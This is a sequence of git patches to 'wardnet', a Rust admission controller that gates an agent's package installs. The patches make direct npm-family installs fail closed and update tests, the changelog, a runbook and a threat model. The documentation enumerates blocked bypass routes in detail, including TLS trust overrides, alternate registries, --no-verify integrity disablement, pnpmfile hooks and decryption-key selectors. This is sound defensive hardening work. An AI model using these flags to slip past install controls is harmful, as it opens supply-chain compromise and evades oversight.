artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "npm-exact-artifact-set".to_string(), + policy_revision: "2026-09-05.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "npm" => vec![ + "npm".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "pnpm" => vec![ + "pnpm".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "yarn" => vec![ + "yarn".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "bun" => vec![ + "bun".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => unreachable!("test limits executable to npm-family managers"), + }; + argv.push("--ignore-scripts".to_string()); + if executable == "pnpm" { + argv.push("--ignore-pnpmfile".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-npm-cardinality-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 395bfe77118f06c9e8efc7b7ccff7cfd3788eb50 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:37:17 +0900 Subject: [PATCH 218/702] fix(admission): fail closed on npm resolver widening --- .../src/dependency_cardinality.rs | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/crates/agent-artifact-admission/src/dependency_cardinality.rs b/crates/agent-artifact-admission/src/dependency_cardinality.rs index 56fb836d..ec11cafc 100644 --- a/crates/agent-artifact-admission/src/dependency_cardinality.rs +++ b/crates/agent-artifact-admission/src/dependency_cardinality.rs @@ -23,3 +23,31 @@ pub(crate) fn misses_exact_dependency_set_guard(intent: &InstallIntent) -> bool is_pypi_install && !arguments.iter().any(|argument| argument == "--no-deps") } + +/// Return whether the currently supported npm-family direct-install grammar can +/// widen one reviewed direct artifact into resolver-selected transitive artifacts. +/// +/// npm, pnpm, Yarn, and Bun all resolve dependency closures for direct package +/// installs. The v0.1 policy binds only direct artifact operands and therefore +/// has no trustworthy way to prove the exact transitive closure those commands +/// will materialize. Until a reviewed lockfile/material-set contract is carried +/// by the intent and enforced by the execution broker, these direct resolver +/// paths must fail closed rather than treating `--ignore-scripts` as dependency +/// identity control. +pub(crate) fn npm_family_dependency_closure_is_unverified(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + _ => false, + } +} From b7ae0d83a37f6292612bbbebe2fa9c02bfb5dee2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:37:41 +0900 Subject: [PATCH 219/702] fix(admission): reject unreviewed npm dependency closure --- crates/agent-artifact-admission/src/lib.rs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index e6385d0d..ef524f95 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -56,6 +56,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if dependency_cardinality::npm_family_dependency_closure_is_unverified(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); From a2dc368f7ea81acfd8e1704bc8866a2e22f64287 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:38:13 +0900 Subject: [PATCH 220/702] test(admission): bind npm closure failure to artifact authority --- .../tests/npm_dependency_cardinality_contract.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs index 3fd097fd..0494138a 100644 --- a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs @@ -25,8 +25,8 @@ fn npm_family_direct_installs_fail_closed_without_reviewed_dependency_closure() decision .reason_codes .iter() - .any(|reason| reason.as_str() == "dependency_closure_unverified"), - "{executable} must expose that no reviewed transitive dependency closure is enforceable by this direct-install grammar" + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} transitive artifacts have no reviewed artifact authority in the v0.1 direct-install contract" ); } } From afc1268ee09db4fb6d9f8b262fdc0052567361a4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:40:51 +0900 Subject: [PATCH 221/702] test(admission): keep exact allow on non-resolving package path --- .../tests/admission_contract.rs | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/tests/admission_contract.rs b/crates/agent-artifact-admission/tests/admission_contract.rs index 30965395..8470b133 100644 --- a/crates/agent-artifact-admission/tests/admission_contract.rs +++ b/crates/agent-artifact-admission/tests/admission_contract.rs @@ -24,21 +24,31 @@ fn exact_policy_match_is_allowed() { let mut policy = AdmissionPolicy::deny_all_for_test(); policy.policy_id = "enterprise-default".to_string(); policy.policy_revision = "2026-08-28.1".to_string(); - policy.allowed_executables = vec!["npm".to_string()]; + policy.allowed_executables = vec!["cargo".to_string()]; policy.approved_manifests = vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }]; policy.approved_artifacts = vec![ApprovedArtifact { - ecosystem: "npm".to_string(), - name: "@unowned/example".to_string(), + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), version: "1.2.3".to_string(), - registry_url: "https://registry.npmjs.org".to_string(), + registry_url: "https://crates.io".to_string(), owner: "Unowned".to_string(), sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), - artifact_argument: "@unowned/example@1.2.3".to_string(), + artifact_argument: "cwl-example@1.2.3".to_string(), }]; - let intent = InstallIntent::unowned_llms_package_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "cwl-example@1.2.3".to_string(), + "--locked".to_string(), + ]; + intent.artifacts[0].ecosystem = "cargo".to_string(); + intent.artifacts[0].name = "cwl-example".to_string(); + intent.artifacts[0].registry_url = "https://crates.io".to_string(); + intent.artifacts[0].artifact_argument = "cwl-example@1.2.3".to_string(); let decision = admission_decision(&policy, &intent); From f3a3bea8756fb76e7f3657fbe339f2c6c3fbc8a9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:41:29 +0900 Subject: [PATCH 222/702] test(admission): keep audited allow on cargo path --- .../tests/http_contract.rs | 23 ++++++++++++++----- 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/tests/http_contract.rs b/crates/agent-artifact-admission/tests/http_contract.rs index 5075d827..2a9566a7 100644 --- a/crates/agent-artifact-admission/tests/http_contract.rs +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -22,25 +22,36 @@ fn approved_policy() -> AdmissionPolicy { AdmissionPolicy { policy_id: "enterprise-default".to_string(), policy_revision: "2026-08-29.2".to_string(), - allowed_executables: vec!["npm".to_string()], + allowed_executables: vec!["cargo".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: digest('a'), }], approved_artifacts: vec![ApprovedArtifact { - ecosystem: "npm".to_string(), - name: "@unowned/example".to_string(), + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), version: "1.2.3".to_string(), - registry_url: "https://registry.npmjs.org".to_string(), + registry_url: "https://crates.io".to_string(), owner: "Unowned".to_string(), sha256: digest('c'), - artifact_argument: "@unowned/example@1.2.3".to_string(), + artifact_argument: "cwl-example@1.2.3".to_string(), }], } } fn approved_intent() -> InstallIntent { - InstallIntent::unowned_llms_package_for_test() + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "cwl-example@1.2.3".to_string(), + "--locked".to_string(), + ]; + intent.artifacts[0].ecosystem = "cargo".to_string(); + intent.artifacts[0].name = "cwl-example".to_string(); + intent.artifacts[0].registry_url = "https://crates.io".to_string(); + intent.artifacts[0].artifact_argument = "cwl-example@1.2.3".to_string(); + intent } fn state( From d5a5c4ac6f0f966c86b1930c5645794f2087caea Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:41:58 +0900 Subject: [PATCH 223/702] test(admission): separate pnpm hook hardening from closure authority --- .../tests/pnpm_pnpmfile_contract.rs | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs index 972dfe8a..87baf1ab 100644 --- a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs @@ -4,7 +4,7 @@ use wardnet_agent_artifact_admission::{ }; #[test] -fn pnpm_requires_pnpmfile_suppression_before_admission() { +fn pnpm_requires_pnpmfile_suppression_before_dependency_closure_can_be_considered() { let (policy, mut intent) = approved_pnpm_case(); let decision = admission_decision(&policy, &intent); @@ -23,7 +23,21 @@ fn pnpm_requires_pnpmfile_suppression_before_admission() { intent.argv.push("--ignore-pnpmfile".to_string()); let hardened = admission_decision(&policy, &intent); - assert_eq!(hardened.decision, DecisionKind::Allow); + assert_eq!(hardened.decision, DecisionKind::Block); + assert!( + !hardened + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "pnpmfile suppression must satisfy the execution-hook safety requirement" + ); + assert!( + hardened + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "the remaining block must represent resolver-selected transitive artifacts that v0.1 policy does not authorize" + ); } fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { From 26abebb5b42f74eb207e95279e5befa1d384ab80 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:42:24 +0900 Subject: [PATCH 224/702] test(admission): keep npm source identity distinct from closure approval --- .../tests/npm_artifact_source_identity_contract.rs | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs index 9a9614e8..3b623074 100644 --- a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -41,15 +41,21 @@ fn npm_package_spec_cannot_replace_reviewed_registry_coordinate() { } #[test] -fn exact_npm_registry_name_and_version_remain_allowed() { +fn exact_npm_registry_name_and_version_still_requires_reviewed_dependency_closure() { let artifact_argument = format!("{PACKAGE_NAME}@{PACKAGE_VERSION}"); let policy = approved_npm_policy(&artifact_argument); let intent = approved_npm_intent(&artifact_argument); let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Allow); - assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "matching the direct registry coordinate must not authorize resolver-selected transitive artifacts" + ); } #[test] From c19aadc15539afe99cab0d3a77ee29df8981e8cf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:43:25 +0900 Subject: [PATCH 225/702] docs(admission): record npm-family dependency-closure boundary --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 03ad839b..ec9fff66 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,8 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared resolver output: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. pnpm requests still require both `--ignore-scripts` and `--ignore-pnpmfile` before resolver authority is considered; pip, pip3, and `uv pip install` require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Fail closed on direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` even when the direct package coordinate and execution-hardening flags match policy, because the v0.1 intent carries only reviewed direct artifacts and cannot prove the transitive dependency closure those commands may resolve. `--ignore-scripts` is execution hardening, not dependency identity. A future npm-family allow path requires a reviewed immutable lockfile/material-set contract plus an executor command that is proven to consume that exact closure without rewriting it; until then resolver-selected transitive artifacts have no Wardnet admission authority. - Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. @@ -17,5 +18,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, npm-family transitive dependency-closure denial, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 1f4cc25ed6b170613c61ba7a9ee9b78339dc906e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:45:24 +0900 Subject: [PATCH 226/702] docs(admission): operationalize npm dependency-closure denial --- docs/runbooks/agent-artifact-admission.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/docs/runbooks/agent-artifact-admission.md b/docs/runbooks/agent-artifact-admission.md index c3f44a65..631a6b01 100644 --- a/docs/runbooks/agent-artifact-admission.md +++ b/docs/runbooks/agent-artifact-admission.md @@ -54,6 +54,14 @@ Malformed structural input returns `400` after the minimized rejection fact has An allow response is valid only after its audit record has been appended. If audit append, audit-record construction or the blocking audit task fails, Wardnet returns `503` with a block decision and the stable `audit_unavailable` reason. Operators must treat any `503` as fail-closed; never retry by bypassing Wardnet. +### npm-family dependency closure + +Direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` requests are intentionally blocked in v0.1 even when the named direct package exactly matches policy and all execution-hardening flags are present. Those commands may resolve and fetch transitive dependencies that are not represented by the current direct-artifact `InstallIntent`; a reviewed direct package is therefore insufficient authority for the material set that would actually be installed. `--ignore-scripts` and pnpm's `--ignore-pnpmfile` reduce execution authority but do not prove dependency identity. + +Do not work around this block by adding wildcard artifacts, treating a lockfile path or branch as implicit approval, permitting a resolver-selected package set after the decision, or bypassing Wardnet. The future allow path must bind an immutable reviewed lockfile/material-set digest and the exact dependency closure to the admission request, then constrain the broker to a frozen project installation that cannot rewrite that lockfile. Current package-manager documentation provides candidate executor semantics—`npm ci`, `pnpm install --frozen-lockfile`, Yarn `install --immutable`, and `bun ci`/`bun install --frozen-lockfile`—but none becomes authorized merely because the command supports a frozen mode. Wardnet must first version and test the material-set contract and the broker must independently verify the installed bytes/provenance. + +PyPI is narrower in the current contract: pip/pip3 and `uv pip install` can proceed only with exact declared package operands, required hashes, and exact `--no-deps`, so no resolver-selected transitive package may be added outside the reviewed intent. Cargo and OCI remain governed by their separate exact-source/build/platform/cardinality invariants. + ### Execution-broker handoff An `allow` receipt authorizes only the exact reviewed install intent. It is not proof that bytes later returned by a registry are identical to the policy digest because this service does not download or hash packages. From 55e8952c9c638a76bd6c4b6d1161eb78382edc85 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:46:51 +0900 Subject: [PATCH 227/702] docs(admission): model npm transitive resolver authority --- .../security/agent-artifact-admission-threat-model.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index a4cedeff..1e83dad0 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -1,12 +1,13 @@ | Policy/provider schema coupling | Sigstore/TUF/SLSA DTO changes alter domain semantics implicitly | Translate provider evidence at explicit adapters/ACLs; domain depends only on stable admission concepts | Reject unsupported evidence until an accepted adapter exists | | Cross-context authority leakage | Main gateway, SIEM exporter or orchestrator mutates admission policy by reaching into internals | Published API/package contract only; no foreign application-table access; no provider SDK in domain modules | Integration rejected by architecture fitness gate | | Confused transport vs policy denial | Downstream treats a policy block as network failure and retries/works around it | Valid policy denials are successful admission responses with `decision=block`; transport/config/audit failures use HTTP errors | Stable receipt semantics | +| Resolver-selected transitive artifact | A reviewed direct npm-family coordinate expands into transitive package bytes absent from the admission intent | Direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` fail closed until policy can bind an immutable reviewed dependency closure and the broker can execute it without lockfile mutation | Stable `artifact_not_approved`; future lockfile/material-set contract plus frozen project-install acceptance | ## Abuse cases A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved npm/PyPI registry or index coordinate as permission to substitute an alias, tarball URL, direct URL, VCS repository, local archive, local directory, alternate index or registry, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved npm direct coordinate as authority for resolver-selected transitive packages, reinterpret an approved npm/PyPI registry or index coordinate as permission to substitute an alias, tarball URL, direct URL, VCS repository, local archive, local directory, alternate index or registry, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,25 +17,30 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. For the npm ecosystem, a direct operand must be the exact reviewed `@` registry coordinate; for PyPI it must be the exact reviewed `==` index coordinate. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements therefore cannot inherit approval from a different reviewed registry/index coordinate. Unsafe source-coordinate drift is rejected both when service policy is loaded and when an install intent is admitted. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. For the npm ecosystem, a direct operand must be the exact reviewed `@` registry coordinate; for PyPI it must be the exact reviewed `==` index coordinate. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements therefore cannot inherit approval from a different reviewed registry/index coordinate. Unsafe source-coordinate drift is rejected both when service policy is loaded and when an install intent is admitted. pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. pnpm also requires `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not by itself establish all submitted hook safety. These flags do not establish transitive npm-family artifact identity: direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` remain blocked because v0.1 carries no reviewed dependency closure. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, decrypt images, or decide filesystem overwrite authority; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/destructive-mutation/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. +The next npm-family capability is not a looser direct-package allowlist. It requires an explicit versioned material-set boundary that binds the reviewed project manifest and lockfile digest, the dependency graph/material identities represented by that lockfile, and an executor mode that refuses to mutate the lockfile. Current primary package-manager documentation establishes candidate frozen semantics: npm `ci` requires an existing lockfile, rejects manifest/lock mismatch and does not write the manifest or lockfile; pnpm `install --frozen-lockfile` fails if the lockfile is absent or out of sync; Yarn `install --immutable` aborts if it would modify the lockfile; Bun `ci` is equivalent to `install --frozen-lockfile` and fails on manifest/lock mismatch. Those properties are necessary evidence for a future port, not sufficient admission today: Wardnet must still bind exact reviewed material identity and the broker must verify retrieved bytes/provenance. + ## Primary references - Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* https://docs.astral.sh/uv/reference/cli/ - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- Bun contributors. (2026). *bun install.* https://bun.com/docs/pm/cli/install - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ +- npm, Inc. (2026). *npm ci.* 